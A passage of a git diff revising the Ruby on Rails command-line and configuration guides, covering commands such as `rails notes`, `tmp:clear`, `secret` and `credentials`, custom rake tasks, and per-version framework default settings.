-app/models/article.rb:
-  * [ 23] Have to fix this one before pushing!
+$ bin/rails notes
+app/controllers/admin/users_controller.rb:
+  * [ 20] [TODO] do A/B testing on this
+  * [ 42] [TESTME] this needs more functional tests
+  * [132] [DEPRECATEME] ensure this method is deprecated in next release
 ```
 
-NOTE. When using specific annotations and custom annotations, the annotation name (FIXME, BUG etc) is not displayed in the output lines.
+#### Add Directories
 
-By default, `rails notes` will look in the `app`, `config`, `db`, `lib` and `test` directories. If you would like to search other directories, you can configure them using `config.annotations.register_directories` option.
+You can add more default directories to search from by using
+`config.annotations.register_directories`:
 
 ```ruby
 config.annotations.register_directories("spec", "vendor")
 ```
 
-You can also provide them as a comma separated list in the environment variable `SOURCE_ANNOTATION_DIRECTORIES`.
+#### Add File Extensions
+
+You can add more default file extensions by using
+`config.annotations.register_extensions`:
+
+```ruby
+config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
+```
+
+### `bin/rails tmp:`
+
+The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding
+place for temporary files like process id files and cached actions.
+
+The `tmp:` namespaced commands will help you clear and create the
+`Rails.root/tmp` directory:
 
 ```bash
-$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
-$ bin/rails notes
-(in /home/foobar/commandsapp)
-app/models/user.rb:
-  * [ 35] [FIXME] User should have a subscription at this point
-spec/models/user_spec.rb:
-  * [122] [TODO] Verify the user that has a subscription works
+$ bin/rails tmp:cache:clear # clears `tmp/cache`.
+$ bin/rails tmp:sockets:clear # clears `tmp/sockets`.
+$ bin/rails tmp:screenshots:clear` # clears `tmp/screenshots`.
+$ bin/rails tmp:clear # clears all cache, sockets, and screenshot files.
+$ bin/rails tmp:create # creates tmp directories for cache, sockets, and pids.
 ```
 
-### `routes`
+### `bin/rails secret`
 
-`rails routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with.
+The `bin/rails secret` command generates a cryptographically secure random
+string for use as a secret key in your Rails application.
 
-### `test`
+```bash
+$ bin/rails secret
+4d39f92a661b5afea8c201b0b5d797cdd3dcf8ae41a875add6ca51489b1fbbf2852a666660d32c0a09f8df863b71073ccbf7f6534162b0a690c45fd278620a63
+```
 
-INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html)
+It can be useful for setting the secret key in your application's
+`config/credentials.yml.enc` file.
 
-Rails comes with a test suite called Minitest. Rails owes its stability to the use of tests. The tasks available in the `test:` namespace helps in running the different tests you will hopefully write.
+### `bin/rails credentials`
 
-### `tmp`
+The `credentials` commands provide access to encrypted credentials, so you can
+safely store access tokens, database passwords, and the like inside the app
+without relying on a bunch of environment variables.
 
-The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions.
+To add values to the encrypted YML file `config/credentials.yml.enc`, you can
+use the `credentials:edit` command:
 
-The `tmp:` namespaced tasks will help you clear and create the `Rails.root/tmp` directory:
+```bash
+$ bin/rails credentials:edit
+```
+
+This opens the decrypted credentials in an editor (set by `$VISUAL` or
+`$EDITOR`) for editing. When saved, the content is encrypted automatically.
+
+You can also use the `:show` command to view the decrypted credential file,
+which may look something like this (This is from a sample application and not
+sensitive data):
+
+```bash
+$ bin/rails credentials:show
+# aws:
+#   access_key_id: 123
+#   secret_access_key: 345
+active_record_encryption:
+  primary_key: 99eYu7ZO0JEwXUcpxmja5PnoRJMaazVZ
+  deterministic_key: lGRKzINTrMTDSuuOIr6r5kdq2sH6S6Ii
+  key_derivation_salt: aoOUutSgvw788fvO3z0hSgv0Bwrm76P0
+
+# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
+secret_key_base: 6013280bda2fcbdbeda1732859df557a067ac81c423855aedba057f7a9b14161442d9cadfc7e48109c79143c5948de848ab5909ee54d04c34f572153466fc589
+```
 
-* `rails tmp:cache:clear` clears `tmp/cache`.
-* `rails tmp:sockets:clear` clears `tmp/sockets`.
-* `rails tmp:clear` clears all cache and sockets files.
-* `rails tmp:create` creates tmp directories for cache, sockets and pids.
+You can learn about credentials in the [Rails Security
+Guide](security.html#custom-credentials).
 
-### Miscellaneous
+TIP: Check out the detailed description for this command in the output of
+`bin/rails credentials --help`.
 
-* `rails stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio.
-* `rails secret` will give you a pseudo-random key to use for your session secret.
-* `rails time:zones:all` lists all the timezones Rails knows about.
+Custom Rake Tasks
+-----------------
 
-### Custom Rake Tasks
+You may want to create custom rake tasks in your application, to delete old
+records from the database for example. You can do this with the `bin/rails
+generate task` command. Custom rake tasks have a `.rake` extension and are
+placed in the `lib/tasks` folder in your Rails application. For example:
 
-Custom rake tasks have a `.rake` extension and are placed in
-`Rails.root/lib/tasks`. You can create these custom rake tasks with the
-`bin/rails generate task` command.
+```bash
+$ bin/rails generate task cool
+create  lib/tasks/cool.rake
+```
+
+The `cool.rake` file can contain this:
 
 ```ruby
-desc "I am short, but comprehensive description for my cool task"
+desc "I am short description for a cool task"
 task task_name: [:prerequisite_task, :another_task_we_depend_on] do
-  # All your magic here
-  # Any valid Ruby code is allowed
+  # Any valid Ruby code is allowed.
 end
 ```
 
@@ -568,90 +1397,28 @@ You can group tasks by placing them in namespaces:
 
 ```ruby
 namespace :db do
-  desc "This task does nothing"
-  task :nothing do
-    # Seriously, nothing
+  desc "This task has something to do with the database"
+  task :my_db_task do
+    # ...
   end
 end
 ```
 
-Invocation of the tasks will look like:
+Invoking rake tasks looks like this:
 
 ```bash
 $ bin/rails task_name
-$ bin/rails "task_name[value 1]" # entire argument string should be quoted
-$ bin/rails db:nothing
-```
-
-NOTE: If your need to interact with your application models, perform database queries and so on, your task should depend on the `environment` task, which will load your application code.
-
-The Rails Advanced Command Line
--------------------------------
-
-More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve.
-
-### Rails with Databases and SCM
-
-When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes.
-
-Let's see what a `--git` option and a `--database=postgresql` option will do for us:
-
-```bash
-$ mkdir gitapp
-$ cd gitapp
-$ git init
-Initialized empty Git repository in .git/
-$ rails new . --git --database=postgresql
-      exists
-      create  app/controllers
-      create  app/helpers
-...
-...
-      create  tmp/cache
-      create  tmp/pids
-      create  Rakefile
-add 'Rakefile'
-      create  README.md
-add 'README.md'
-      create  app/controllers/application_controller.rb
-add 'app/controllers/application_controller.rb'
-      create  app/helpers/application_helper.rb
-...
-      create  log/test.log
-add 'log/test.log'
+$ bin/rails "task_name[value1]" # entire argument string should be quoted
+$ bin/rails "task_name[value1, value2]" # separate multiple args with a comma
+$ bin/rails db:my_db_task
 ```
 
-We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration:
+If you need to interact with your application models, perform database queries,
+and so on, your task can depend on the `environment` task, which will load your
+Rails application.
 
-```bash
-$ cat config/database.yml
-# PostgreSQL. Versions 9.1 and up are supported.
-#
-# Install the pg driver:
-#   gem install pg
-# On OS X with Homebrew:
-#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
-# On OS X with MacPorts:
-#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
-# On Windows:
-#   gem install pg
-#       Choose the win32 build.
-#       Install PostgreSQL and put its /bin directory on your path.
-#
-# Configure Using Gemfile
-# gem 'pg'
-#
-development:
-  adapter: postgresql
-  encoding: unicode
-  database: gitapp_development
-  pool: 5
-  username: gitapp
-  password:
-...
-...
+```ruby
+task task_that_requires_app_code: [:environment] do
+  puts User.count
+end
 ```
-
-It also generated some lines in our database.yml configuration corresponding to our choice of PostgreSQL for database.
-
-NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app.
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index 251b038ec958d..530bdca6f8504 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Configuring Rails Applications
 ==============================
@@ -25,17 +25,17 @@ Rails offers four standard spots to place initialization code:
 Running Code Before Rails
 -------------------------
 
-In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`.
+In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require "rails/all"` in `config/application.rb`.
 
 Configuring Rails Components
 ----------------------------
 
 In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.
 
-For example, the `config/application.rb` file includes this setting:
+For example, you could add this setting to `config/application.rb` file:
 
 ```ruby
-config.time_zone = 'Central Time (US & Canada)'
+config.time_zone = "Central Time (US & Canada)"
 ```
 
 This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:
@@ -46,146 +46,654 @@ config.active_record.schema_format = :ruby
 
 Rails will use that particular setting to configure Active Record.
 
+WARNING: Use the public configuration methods over calling directly to the associated class. e.g. `Rails.application.config.action_mailer.options` instead of `ActionMailer::Base.options`.
+
+NOTE: If you need to apply configuration directly to a class, use a [lazy load hook](https://api.rubyonrails.org/classes/ActiveSupport/LazyLoadHooks.html) in an initializer to avoid autoloading the class before initialization has completed. This will break because autoloading during initialization cannot be safely repeated when the app reloads.
+
+### Versioned Default Values
+
+[`config.load_defaults`] loads default configuration values for a target version and all versions prior. For example, `config.load_defaults 6.1` will load defaults for all versions up to and including version 6.1.
+
+[`config.load_defaults`]: https://api.rubyonrails.org/classes/Rails/Application/Configuration.html#method-i-load_defaults
+
+Below are the default values associated with each target version. In cases of conflicting values, newer versions take precedence over older versions.
+
+#### Default Values for Target Version 8.2
+
+- [`config.action_controller.forgery_protection_verification_strategy`](#config-action-controller-forgery-protection-verification-strategy): `:header_only`
+- [`config.active_record.postgresql_adapter_decode_bytea`](#config-active-record-postgresql-adapter-decode-bytea): `true`
+- [`config.active_record.postgresql_adapter_decode_money`](#config-active-record-postgresql-adapter-decode-money): `true`
+- [`config.active_storage.analyze`](#config-active-storage-analyze): `:immediately`
+
+#### Default Values for Target Version 8.1
+
+- [`config.action_controller.action_on_path_relative_redirect`](#config-action-controller-action-on-path-relative-redirect): `:raise`
+- [`config.action_controller.escape_json_responses`](#config-action-controller-escape-json-responses): `false`
+- [`config.action_view.remove_hidden_field_autocomplete`](#config-action-view-remove-hidden-field-autocomplete): `true`
+- [`config.action_view.render_tracker`](#config-action-view-render-tracker): `:ruby`
+- [`config.active_record.raise_on_missing_required_finder_order_columns`](#config-active-record-raise-on-missing-required-finder-order-columns): `true`
+- [`config.active_support.escape_js_separators_in_json`](#config-active-support-escape-js-separators-in-json): `false`
+- [`config.yjit`](#config-yjit): `!Rails.env.local?`
+
+#### Default Values for Target Version 8.0
+
+- [`Regexp.timeout`](#regexp-timeout): `1`
+- [`config.action_dispatch.strict_freshness`](#config-action-dispatch-strict-freshness): `true`
+
+#### Default Values for Target Version 7.2
+
+- [`config.active_record.postgresql_adapter_decode_dates`](#config-active-record-postgresql-adapter-decode-dates): `true`
+- [`config.active_record.validate_migration_timestamps`](#config-active-record-validate-migration-timestamps): `true`
+- [`config.active_storage.web_image_content_types`](#config-active-storage-web-image-content-types): `%w( image/png image/jpeg image/gif image/webp )`
+- [`config.yjit`](#config-yjit): `true`
+
+#### Default Values for Target Version 7.1
+
+- [`config.action_dispatch.debug_exception_log_level`](#config-action-dispatch-debug-exception-log-level): `:error`
+- [`config.action_dispatch.default_headers`](#config-action-dispatch-default-headers): `{ "X-Frame-Options" => "SAMEORIGIN", "X-XSS-Protection" => "0", "X-Content-Type-Options" => "nosniff", "X-Permitted-Cross-Domain-Policies" => "none", "Referrer-Policy" => "strict-origin-when-cross-origin" }`
+- [`config.action_text.sanitizer_vendor`](#config-action-text-sanitizer-vendor): `Rails::HTML::Sanitizer.best_supported_vendor`
+- [`config.action_view.sanitizer_vendor`](#config-action-view-sanitizer-vendor): `Rails::HTML::Sanitizer.best_supported_vendor`
+- [`config.active_record.before_committed_on_all_records`](#config-active-record-before-committed-on-all-records): `true`
+- [`config.active_record.belongs_to_required_validates_foreign_key`](#config-active-record-belongs-to-required-validates-foreign-key): `false`
+- [`config.active_record.default_column_serializer`](#config-active-record-default-column-serializer): `nil`
+- [`config.active_record.encryption.hash_digest_class`](#config-active-record-encryption-hash-digest-class): `OpenSSL::Digest::SHA256`
+- [`config.active_record.encryption.support_sha1_for_non_deterministic_encryption`](#config-active-record-encryption-support-sha1-for-non-deterministic-encryption): `false`
+- [`config.active_record.generate_secure_token_on`](#config-active-record-generate-secure-token-on): `:initialize`
+- [`config.active_record.marshalling_format_version`](#config-active-record-marshalling-format-version): `7.1`
+- [`config.active_record.query_log_tags_format`](#config-active-record-query-log-tags-format): `:sqlcommenter`
+- [`config.active_record.raise_on_assign_to_attr_readonly`](#config-active-record-raise-on-assign-to-attr-readonly): `true`
+- [`config.active_record.run_after_transaction_callbacks_in_order_defined`](#config-active-record-run-after-transaction-callbacks-in-order-defined): `true`
+- [`config.active_record.run_commit_callbacks_on_first_saved_instances_in_transaction`](#config-active-record-run-commit-callbacks-on-first-saved-instances-in-transaction): `false`
+- [`config.active_record.sqlite3_adapter_strict_strings_by_default`](#config-active-record-sqlite3-adapter-strict-strings-by-default): `true`
+- [`config.active_support.cache_format_version`](#config-active-support-cache-format-version): `7.1`
+- [`config.active_support.message_serializer`](#config-active-support-message-serializer): `:json_allow_marshal`
+- [`config.active_support.raise_on_invalid_cache_expiration_time`](#config-active-support-raise-on-invalid-cache-expiration-time): `true`
+- [`config.active_support.use_message_serializer_for_metadata`](#config-active-support-use-message-serializer-for-metadata): `true`
+- [`config.add_autoload_paths_to_load_path`](#config-add-autoload-paths-to-load-path): `false`
+- [`config.dom_testing_default_html_version`](#config-dom-testing-default-html-version): `defined?(Nokogiri::HTML5) ? :html5 : :html4`
+- [`config.log_file_size`](#config-log-file-size): `100 * 1024 * 1024`
+- [`config.precompile_filter_parameters`](#config-precompile-filter-parameters): `true`
+
+#### Default Values for Target Version 7.0
+
+- [`config.action_controller.action_on_open_redirect`](#config-action-controller-action-on-open-redirect): `:raise`
+- [`config.action_controller.wrap_parameters_by_default`](#config-action-controller-wrap-parameters-by-default): `true`
+- [`config.action_dispatch.cookies_serializer`](#config-action-dispatch-cookies-serializer): `:json`
+- [`config.action_dispatch.default_headers`](#config-action-dispatch-default-headers): `{ "X-Frame-Options" => "SAMEORIGIN", "X-XSS-Protection" => "0", "X-Content-Type-Options" => "nosniff", "X-Download-Options" => "noopen", "X-Permitted-Cross-Domain-Policies" => "none", "Referrer-Policy" => "strict-origin-when-cross-origin" }`
+- [`config.action_mailer.smtp_timeout`](#config-action-mailer-smtp-timeout): `5`
+- [`config.action_view.apply_stylesheet_media_default`](#config-action-view-apply-stylesheet-media-default): `false`
+- [`config.action_view.button_to_generates_button_tag`](#config-action-view-button-to-generates-button-tag): `true`
+- [`config.active_record.automatic_scope_inversing`](#config-active-record-automatic-scope-inversing): `true`
+- [`config.active_record.partial_inserts`](#config-active-record-partial-inserts): `false`
+- [`config.active_record.verify_foreign_keys_for_fixtures`](#config-active-record-verify-foreign-keys-for-fixtures): `true`
+- [`config.active_storage.multiple_file_field_include_hidden`](#config-active-storage-multiple-file-field-include-hidden): `true`
+- [`config.active_storage.variant_processor`](#config-active-storage-variant-processor): `:vips`
+- [`config.active_storage.video_preview_arguments`](#config-active-storage-video-preview-arguments): `"-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015),loop=loop=-1:size=2,trim=start_frame=1' -frames:v 1 -f image2"`
+- [`config.active_support.cache_format_version`](#config-active-support-cache-format-version): `7.0`
+- [`config.active_support.executor_around_test_case`](#config-active-support-executor-around-test-case): `true`
+- [`config.active_support.hash_digest_class`](#config-active-support-hash-digest-class): `OpenSSL::Digest::SHA256`
+- [`config.active_support.key_generator_hash_digest_class`](#config-active-support-key-generator-hash-digest-class): `OpenSSL::Digest::SHA256`
+
+#### Default Values for Target Version 6.1
+
+- [`ActiveSupport.utc_to_local_returns_utc_offset_times`](#activesupport-utc-to-local-returns-utc-offset-times): `true`
+- [`config.action_dispatch.cookies_same_site_protection`](#config-action-dispatch-cookies-same-site-protection): `:lax`
+- [`config.action_dispatch.ssl_default_redirect_status`](#config-action-dispatch-ssl-default-redirect-status): `308`
+- [`config.action_mailbox.queues.incineration`](#config-action-mailbox-queues-incineration): `nil`
+- [`config.action_mailbox.queues.routing`](#config-action-mailbox-queues-routing): `nil`
+- [`config.action_mailer.deliver_later_queue_name`](#config-action-mailer-deliver-later-queue-name): `nil`
+- [`config.action_view.form_with_generates_remote_forms`](#config-action-view-form-with-generates-remote-forms): `false`
+- [`config.action_view.preload_links_header`](#config-action-view-preload-links-header): `true`
+- [`config.active_job.retry_jitter`](#config-active-job-retry-jitter): `0.15`
+- [`config.active_record.has_many_inversing`](#config-active-record-has-many-inversing): `true`
+- [`config.active_storage.queues.analysis`](#config-active-storage-queues-analysis): `nil`
+- [`config.active_storage.queues.purge`](#config-active-storage-queues-purge): `nil`
+- [`config.active_storage.track_variants`](#config-active-storage-track-variants): `true`
+
+#### Default Values for Target Version 6.0
+
+- [`config.action_dispatch.use_cookies_with_metadata`](#config-action-dispatch-use-cookies-with-metadata): `true`
+- [`config.action_mailer.delivery_job`](#config-action-mailer-delivery-job): `"ActionMailer::MailDeliveryJob"`
+- [`config.action_view.default_enforce_utf8`](#config-action-view-default-enforce-utf8): `false`
+- [`config.active_record.collection_cache_versioning`](#config-active-record-collection-cache-versioning): `true`
+- [`config.active_storage.queues.analysis`](#config-active-storage-queues-analysis): `:active_storage_analysis`
+- [`config.active_storage.queues.purge`](#config-active-storage-queues-purge): `:active_storage_purge`
+
+#### Default Values for Target Version 5.2
+
+- [`config.action_controller.default_protect_from_forgery`](#config-action-controller-default-protect-from-forgery): `true`
+- [`config.action_dispatch.use_authenticated_cookie_encryption`](#config-action-dispatch-use-authenticated-cookie-encryption): `true`
+- [`config.action_view.form_with_generates_ids`](#config-action-view-form-with-generates-ids): `true`
+- [`config.active_record.cache_versioning`](#config-active-record-cache-versioning): `true`
+- [`config.active_support.hash_digest_class`](#config-active-support-hash-digest-class): `OpenSSL::Digest::SHA1`
+- [`config.active_support.use_authenticated_message_encryption`](#config-active-support-use-authenticated-message-encryption): `true`
+
+#### Default Values for Target Version 5.1
+
+- [`config.action_view.form_with_generates_remote_forms`](#config-action-view-form-with-generates-remote-forms): `true`
+- [`config.assets.unknown_asset_fallback`](#config-assets-unknown-asset-fallback): `false`
+
+#### Default Values for Target Version 5.0
+
+- [`config.action_controller.forgery_protection_origin_check`](#config-action-controller-forgery-protection-origin-check): `true`
+- [`config.action_controller.per_form_csrf_tokens`](#config-action-controller-per-form-csrf-tokens): `true`
+- [`config.active_record.belongs_to_required_by_default`](#config-active-record-belongs-to-required-by-default): `true`
+- [`config.ssl_options`](#config-ssl-options): `{ hsts: { subdomains: true } }`
+
 ### Rails General Configuration
 
-These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.
+The following configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.
 
-* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
+#### `config.add_autoload_paths_to_load_path`
 
-    ```ruby
-    config.after_initialize do
-      ActionView::Base.sanitized_allowed_tags.delete 'div'
-    end
-    ```
+Says whether autoload paths have to be added to `$LOAD_PATH`. It is recommended to be set to `false` in `:zeitwerk` mode early, in `config/application.rb`. Zeitwerk uses absolute paths internally, and applications running in `:zeitwerk` mode do not need `require_dependency`, so models, controllers, jobs, etc. do not need to be in `$LOAD_PATH`. Setting this to `false` saves Ruby from checking these directories when resolving `require` calls with relative paths, and saves Bootsnap work and RAM, since it does not need to build an index for them.
 
-* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
+The default value depends on the `config.load_defaults` target version:
 
-* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is `false`, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
+| Starting with version | The default value is |
+| --------------------- | -------------------- |
+| (original)            | `true`               |
+| 7.1                   | `false`              |
 
-* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.
+The `lib` directory is not affected by this flag, it is added to `$LOAD_PATH` always.
 
-* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to `false` in development mode, and `true` in test and production modes.
+#### `config.after_initialize`
 
-* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+Takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers:
 
-* `config.beginning_of_week` sets the default beginning of week for the
-application. Accepts a valid week day symbol (e.g. `:monday`).
+```ruby
+config.after_initialize do
+  ActionView::Base.sanitized_allowed_tags.delete "div"
+end
+```
 
-* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store`.
+#### `config.after_routes_loaded`
 
-* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to `true`.
+Takes a block which will be run after Rails has finished loading the application routes. This block will also be run whenever routes are reloaded.
 
-* `config.consider_all_requests_local` is a flag. If `true` then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. `true` by default in development and test environments, and `false` in production mode. For finer-grained control, set this to `false` and implement `local_request?` in controllers to specify which requests should provide debugging information on errors.
+```ruby
+config.after_routes_loaded do
+  # Code that does something with Rails.application.routes
+end
+```
 
-* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block:
+#### `config.allow_concurrency`
 
-    ```ruby
-    console do
-      # this block is called only when running console,
-      # so we can safely require pry here
-      require "pry"
-      config.console = Pry
-    end
-    ```
+Controls whether requests should be handled concurrently. This should only
+be set to `false` if application code is not thread safe. Defaults to `true`.
 
-* `config.eager_load` when `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks and any other registered namespace.
+#### `config.asset_host`
 
-* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is `true`. All namespaces in the list must respond to the `eager_load!` method.
+Sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.
 
-* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application.
+#### `config.assume_ssl`
 
-* `config.enable_dependency_loading`: when true, enables autoloading, even if the application is eager loaded and `config.cache_classes` is set as true. Defaults to false.
+Makes application believe that all requests are arriving over SSL. This is useful when proxying through a load balancer that terminates SSL, the forwarded request will appear as though it's HTTP instead of HTTPS to the application. This makes redirects and cookie security target HTTP instead of HTTPS. This middleware makes the server assume that the proxy already terminated SSL, and that the request really is HTTPS.
 
-* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8.
+#### `config.autoflush_log`
 
-* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
+Enables writing log file output immediately instead of buffering. Defaults to
+`true`.
 
-* `config.debug_exception_response_format` sets the format used in responses when errors occur in development mode. Defaults to `:api` for API only apps and `:default` for normal apps.
+#### `config.autoload_lib(ignore:)`
 
-* `config.file_watcher` is the class used to detect file updates in the file system when `config.reload_classes_only_on_change` is `true`. Rails ships with `ActiveSupport::FileUpdateChecker`, the default, and `ActiveSupport::EventedFileUpdateChecker` (this one depends on the [listen](https://github.com/guard/listen) gem). Custom classes must conform to the `ActiveSupport::FileUpdateChecker` API.
+This method adds `lib` to `config.autoload_paths` and `config.eager_load_paths`.
 
-* `config.filter_parameters` used for filtering out the parameters that
-you don't want shown in the logs, such as passwords or credit card
-numbers. By default, Rails filters out passwords by adding `Rails.application.config.filter_parameters += [:password]` in `config/initializers/filter_parameter_logging.rb`. Parameters filter works by partial matching regular expression.
+Normally, the `lib` directory has subdirectories that should not be autoloaded or eager loaded. Please, pass their name relative to `lib` in the required `ignore` keyword argument. For example,
 
-* `config.force_ssl` forces all requests to be served over HTTPS by using the `ActionDispatch::SSL` middleware, and sets `config.action_mailer.default_url_options` to be `{ protocol: 'https' }`. This can be configured by setting `config.ssl_options` - see the [ActionDispatch::SSL documentation](http://api.rubyonrails.org/classes/ActionDispatch/SSL.html) for details.
+```ruby
+config.autoload_lib(ignore: %w(assets tasks generators))
+```
 
-* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes. If you are setting a value for `config.logger` you must manually pass the value of your formatter to your logger before it is wrapped in an `ActiveSupport::TaggedLogging` instance, Rails will not do it for you.
+Please, see more details in the [autoloading guide](autoloading_and_reloading_constants.html).
 
-* `config.log_level` defines the verbosity of the Rails logger. This option
-defaults to `:debug` for all environments. The available log levels are: `:debug`,
-`:info`, `:warn`, `:error`, `:fatal`, and `:unknown`.
+#### `config.autoload_lib_once(ignore:)`
 
-* `config.log_tags` accepts a list of: methods that the `request` object responds to, a `Proc` that accepts the `request` object, or something that responds to `to_s`. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.
+The method `config.autoload_lib_once` is similar to `config.autoload_lib`, except that it adds `lib` to `config.autoload_once_paths` instead.
 
-* `config.logger` is the logger that will be used for `Rails.logger` and any related Rails logging such as `ActiveRecord::Base.logger`. It defaults to an instance of `ActiveSupport::TaggedLogging` that wraps an instance of `ActiveSupport::Logger` which outputs a log to the `log/` directory. You can supply a custom logger, to get full compatibility you must follow these guidelines:
-  * To support a formatter, you must manually assign a formatter from the `config.log_formatter` value to the logger.
-  * To support tagged logs, the log instance must be wrapped with `ActiveSupport::TaggedLogging`.
-  * To support silencing, the logger must include `LoggerSilence` and `ActiveSupport::LoggerThreadSafeLevel` modules. The `ActiveSupport::Logger` class already includes these modules.
+By calling `config.autoload_lib_once`, classes and modules in `lib` can be autoloaded, even from application initializers, but won't be reloaded.
 
-    ```ruby
-    class MyLogger < ::Logger
-      include ActiveSupport::LoggerThreadSafeLevel
-      include LoggerSilence
-    end
+#### `config.autoload_once_paths`
 
-    mylogger           = MyLogger.new(STDOUT)
-    mylogger.formatter = config.log_formatter
-    config.logger      = ActiveSupport::TaggedLogging.new(mylogger)
-    ```
+Accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if reloading is enabled, which it is by default in the `development` environment. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.
 
-* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.
+#### `config.autoload_paths`
 
-* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to `true`. If `config.cache_classes` is `true`, this option is ignored.
+Accepts an array of paths from which Rails will autoload constants. Default is an empty array. Since [Rails 6](upgrading_ruby_on_rails.html#autoloading), it is not recommended to adjust this. See [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html#autoload-paths).
 
-* `secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`.
+#### `config.beginning_of_week`
 
-* `config.public_file_server.enabled` configures Rails to serve static files from the public directory. This option defaults to `true`, but in the production environment it is set to `false` because the server software (e.g. NGINX or Apache) used to run the application should serve static files instead. If you are running or testing your app in production mode using WEBrick (it is not recommended to use WEBrick in production) set the option to `true.` Otherwise, you won't be able to use page caching and request for files that exist under the public directory.
+Sets the default beginning of week for the
+application. Accepts a valid day of week as a symbol (e.g. `:monday`).
 
-* `config.session_store` specifies what class to use to store the session. Possible values are `:cookie_store` which is the default, `:mem_cache_store`, and `:disabled`. The last one tells Rails not to deal with sessions. Defaults to a cookie store with application name as the session key. Custom session stores can also be specified:
+#### `config.cache_classes`
 
-    ```ruby
-    config.session_store :my_custom_store
-    ```
+Old setting equivalent to `!config.enable_reloading`. Supported for backwards compatibility.
+
+#### `config.cache_store`
+
+Configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, `:redis_cache_store`, or an object that implements the cache API. Defaults to `:file_store`. See [Cache Stores](caching_with_rails.html#cache-stores) for per-store configuration options.
+
+#### `config.colorize_logging`
+
+Specifies whether or not to use ANSI color codes when logging information. Defaults to `true`.
+
+#### `config.consider_all_requests_local`
+
